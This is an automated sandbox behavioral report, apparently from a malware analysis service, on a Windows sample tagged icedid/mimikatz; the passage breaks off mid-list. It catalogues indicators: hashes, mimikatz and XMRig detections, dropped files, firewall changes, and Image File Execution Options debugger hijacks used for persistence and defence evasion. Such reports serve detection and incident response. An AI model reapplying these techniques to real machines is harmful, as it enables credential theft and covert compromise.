Analysis
- max time kernel
164s - max time network
182s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system - submitted
07/04/2024, 11:41
Behavioral task
behavioral1
Sample
2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
windows7-x64
37 signatures
150 seconds
General
- Target 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe
- Size 7.0MB
- Sample240407-nte7jacc79
- SHA256 1d439a57b7be25cf46f57f7a5aa7991081e9f270e5b43c12e853cbd036bb68f5
- MD5 2420126afe95f44ea3edb51cbc7084b3
- SHA1 9a27598a6fd079f7c605fec2bd105aa4409bca85
- SHA512 50e733b9b097140dfa55285017c2f6e088d4d92470b14a972d12b3e1ff8354779e33ebe8a5ee3882458d9d71dda210f97ea5061a9e34af754b564c215d5f3c49
- SSDEEP 196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2576 created 904 2576 pfseynr.exe 17 - Contacts a large (22596) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 3 IoCs
resource yara_rule behavioral1/memory/2832-134-0x000000013F3F0000-0x000000013F4DE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2832-136-0x000000013F3F0000-0x000000013F4DE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2576-157-0x0000000002C00000-0x0000000002D20000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore - UPX dump on OEP (original entry point) 35 IoCs
resource yara_rule behavioral1/memory/2060-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x00040000000130fc-4.dat UPX behavioral1/memory/2612-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x0005000000019bf4-129.dat UPX behavioral1/memory/2832-134-0x000000013F3F0000-0x000000013F4DE000-memory.dmp UPX behavioral1/memory/2832-136-0x000000013F3F0000-0x000000013F4DE000-memory.dmp UPX behavioral1/files/0x000500000001a04b-138.dat UPX behavioral1/memory/2576-141-0x0000000002540000-0x000000000259B000-memory.dmp UPX behavioral1/memory/1792-142-0x000000013F7E0000-0x000000013F83B000-memory.dmp UPX behavioral1/files/0x0005000000019fd6-145.dat UPX behavioral1/memory/2576-146-0x0000000002C00000-0x0000000002D20000-memory.dmp UPX behavioral1/memory/2748-147-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/1792-149-0x000000013F7E0000-0x000000013F83B000-memory.dmp UPX behavioral1/memory/2748-150-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2748-154-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2576-157-0x0000000002C00000-0x0000000002D20000-memory.dmp UPX behavioral1/memory/1792-158-0x000000013F7E0000-0x000000013F83B000-memory.dmp UPX behavioral1/memory/1672-164-0x000000013F250000-0x000000013F2AB000-memory.dmp UPX behavioral1/memory/1672-180-0x000000013F250000-0x000000013F2AB000-memory.dmp UPX behavioral1/memory/2748-189-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2796-190-0x000000013FD00000-0x000000013FD5B000-memory.dmp UPX behavioral1/memory/2796-192-0x000000013FD00000-0x000000013FD5B000-memory.dmp UPX behavioral1/memory/2744-197-0x000000013FFF0000-0x000000014004B000-memory.dmp UPX behavioral1/memory/2744-199-0x000000013FFF0000-0x000000014004B000-memory.dmp UPX behavioral1/memory/2772-209-0x000000013FA80000-0x000000013FADB000-memory.dmp UPX behavioral1/memory/2772-211-0x000000013FA80000-0x000000013FADB000-memory.dmp UPX behavioral1/memory/2748-213-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2560-218-0x000000013F400000-0x000000013F45B000-memory.dmp UPX behavioral1/memory/2560-220-0x000000013F400000-0x000000013F45B000-memory.dmp UPX behavioral1/memory/2748-223-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2748-241-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2748-243-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2748-244-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2748-246-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX behavioral1/memory/2748-250-0x000000013F5B0000-0x000000013F6D0000-memory.dmp UPX - XMRig Miner payload 10 IoCs
resource yara_rule behavioral1/memory/2748-150-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-154-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-189-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-213-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-223-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-241-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-243-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-244-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-246-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig behavioral1/memory/2748-250-0x000000013F5B0000-0x000000013F6D0000-memory.dmp xmrig - mimikatz is an open source tool to dump credentials on Windows 7 IoCs
resource yara_rule behavioral1/memory/2060-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x00040000000130fc-4.dat mimikatz behavioral1/memory/2612-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2948-133-0x0000000000D50000-0x0000000000E3E000-memory.dmp mimikatz behavioral1/memory/2832-134-0x000000013F3F0000-0x000000013F4DE000-memory.dmp mimikatz behavioral1/memory/2832-136-0x000000013F3F0000-0x000000013F4DE000-memory.dmp mimikatz behavioral1/memory/2576-157-0x0000000002C00000-0x0000000002D20000-memory.dmp mimikatz - Drops file in Drivers directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts pfseynr.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe - Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1556 netsh.exe 1860 netsh.exe - Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe pfseynr.exe - Executes dropped EXE 17 IoCs
pid Process 2612 pfseynr.exe 2576 pfseynr.exe 332 wpcap.exe 1512 clmskurrz.exe 2832 vfshost.exe 1792 rilkvsrev.exe 2748 eeknlv.exe 1672 rilkvsrev.exe 2648 xohudmc.exe 2448 ssssgc.exe 2796 rilkvsrev.exe 2744 rilkvsrev.exe 1472 pfseynr.exe 2772 rilkvsrev.exe 2560 rilkvsrev.exe 1972 btnrzguie.exe 3564 pfseynr.exe - Loads dropped DLL 23 IoCs
pid Process 2072 cmd.exe 2072 cmd.exe 1960 cmd.exe 332 wpcap.exe 332 wpcap.exe 332 wpcap.exe 332 wpcap.exe 332 wpcap.exe 432 cmd.exe 1512 clmskurrz.exe 1512 clmskurrz.exe 2948 cmd.exe 2948 cmd.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 1012 cmd.exe -
resource yara_rule behavioral1/files/0x0005000000019bf4-129.dat upx behavioral1/memory/2832-134-0x000000013F3F0000-0x000000013F4DE000-memory.dmp upx behavioral1/memory/2832-136-0x000000013F3F0000-0x000000013F4DE000-memory.dmp upx behavioral1/files/0x000500000001a04b-138.dat upx behavioral1/memory/2576-141-0x0000000002540000-0x000000000259B000-memory.dmp upx behavioral1/memory/1792-142-0x000000013F7E0000-0x000000013F83B000-memory.dmp upx behavioral1/files/0x0005000000019fd6-145.dat upx behavioral1/memory/2576-146-0x0000000002C00000-0x0000000002D20000-memory.dmp upx behavioral1/memory/2748-147-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/1792-149-0x000000013F7E0000-0x000000013F83B000-memory.dmp upx behavioral1/memory/2748-150-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2748-154-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2576-157-0x0000000002C00000-0x0000000002D20000-memory.dmp upx behavioral1/memory/1792-158-0x000000013F7E0000-0x000000013F83B000-memory.dmp upx behavioral1/memory/1672-164-0x000000013F250000-0x000000013F2AB000-memory.dmp upx behavioral1/memory/1672-180-0x000000013F250000-0x000000013F2AB000-memory.dmp upx behavioral1/memory/2748-189-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2796-190-0x000000013FD00000-0x000000013FD5B000-memory.dmp upx behavioral1/memory/2796-192-0x000000013FD00000-0x000000013FD5B000-memory.dmp upx behavioral1/memory/2744-197-0x000000013FFF0000-0x000000014004B000-memory.dmp upx behavioral1/memory/2744-199-0x000000013FFF0000-0x000000014004B000-memory.dmp upx behavioral1/memory/2772-209-0x000000013FA80000-0x000000013FADB000-memory.dmp upx behavioral1/memory/2772-211-0x000000013FA80000-0x000000013FADB000-memory.dmp upx behavioral1/memory/2748-213-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2560-218-0x000000013F400000-0x000000013F45B000-memory.dmp upx behavioral1/memory/2560-220-0x000000013F400000-0x000000013F45B000-memory.dmp upx behavioral1/memory/2748-223-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2748-241-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2748-243-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2748-244-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2748-246-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx behavioral1/memory/2748-250-0x000000013F5B0000-0x000000013F6D0000-memory.dmp upx - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ifconfig.me 21 ifconfig.me - Creates a Windows Service
- Drops file in System32 directory 12 IoCs
description ioc Process File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\ssssgc.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\ssssgc.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 pfseynr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A pfseynr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A pfseynr.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 pfseynr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat pfseynr.exe - Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe - Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\rbggpfcfq\UnattendGC\specials\svschost.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\spoolsrv.xml pfseynr.exe File opened for modification C:\Windows\ykuemqcz\svschost.xml pfseynr.exe File opened for modification C:\Windows\ykuemqcz\spoolsrv.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\Shellcode.ini pfseynr.exe File created C:\Windows\rbggpfcfq\upbdrjv\swrpwe.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\vimpcsvc.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\schoedcl.exe pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\docmicfg.exe pfseynr.exe File created C:\Windows\ykuemqcz\schoedcl.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\coli-0.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\tibe-2.dll pfseynr.exe File created C:\Windows\rbggpfcfq\Corporate\vfshost.exe pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\ip.txt pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\spoolsrv.exe pfseynr.exe File opened for modification C:\Windows\ykuemqcz\vimpcsvc.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\posh-0.dll pfseynr.exe File created C:\Windows\ykuemqcz\svschost.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\vimpcsvc.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\ssleay32.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\schoedcl.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\crli-0.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\docmicfg.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\AppCapture32.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\svschost.exe pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\Packet.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\trfo-2.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\spoolsrv.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\docmicfg.xml pfseynr.exe File opened for modification C:\Windows\ykuemqcz\docmicfg.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\AppCapture64.dll pfseynr.exe File opened for modification C:\Windows\rbggpfcfq\Corporate\log.txt cmd.exe File created C:\Windows\ykuemqcz\pfseynr.exe 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\libeay32.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\svschost.xml pfseynr.exe File created C:\Windows\rbggpfcfq\Corporate\mimilib.dll pfseynr.exe File opened for modification C:\Windows\rbggpfcfq\uvnzszfjl\Result.txt btnrzguie.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\cnli-1.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\tucl-1.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\libxml2.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\ucl.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\xdvl-0.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\schoedcl.xml pfseynr.exe File created C:\Windows\ykuemqcz\vimpcsvc.xml pfseynr.exe File opened for modification C:\Windows\ykuemqcz\schoedcl.xml pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.dll pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\btnrzguie.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\vimpcsvc.xml pfseynr.exe File created C:\Windows\rbggpfcfq\Corporate\mimidrv.sys pfseynr.exe File created C:\Windows\ime\pfseynr.exe pfseynr.exe File opened for modification C:\Windows\rbggpfcfq\uvnzszfjl\Packet.dll pfseynr.exe File created C:\Windows\ykuemqcz\docmicfg.xml pfseynr.exe File opened for modification C:\Windows\ykuemqcz\pfseynr.exe 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\zlib1.dll pfseynr.exe File created C:\Windows\ykuemqcz\spoolsrv.xml pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\scan.bat pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\exma-1.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\trch-1.dll pfseynr.exe - Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2316 sc.exe 2652 sc.exe 1244 sc.exe 1552 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x00040000000130fc-4.dat nsis_installer_2 behavioral1/files/0x0004000000004ed7-14.dat nsis_installer_1 behavioral1/files/0x0004000000004ed7-14.dat nsis_installer_2 - Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1596 schtasks.exe 2220 schtasks.exe 1984 schtasks.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump rilkvsrev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-2e-e6-5a-c8-12\WpadDetectedUrl pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump rilkvsrev.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" rilkvsrev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{70FB50B1-7A59-4864-B827-E85EB8950F57}\1e-2e-e6-5a-c8-12 pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-2e-e6-5a-c8-12\WpadDecision = "0" pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates pfseynr.exe Key created 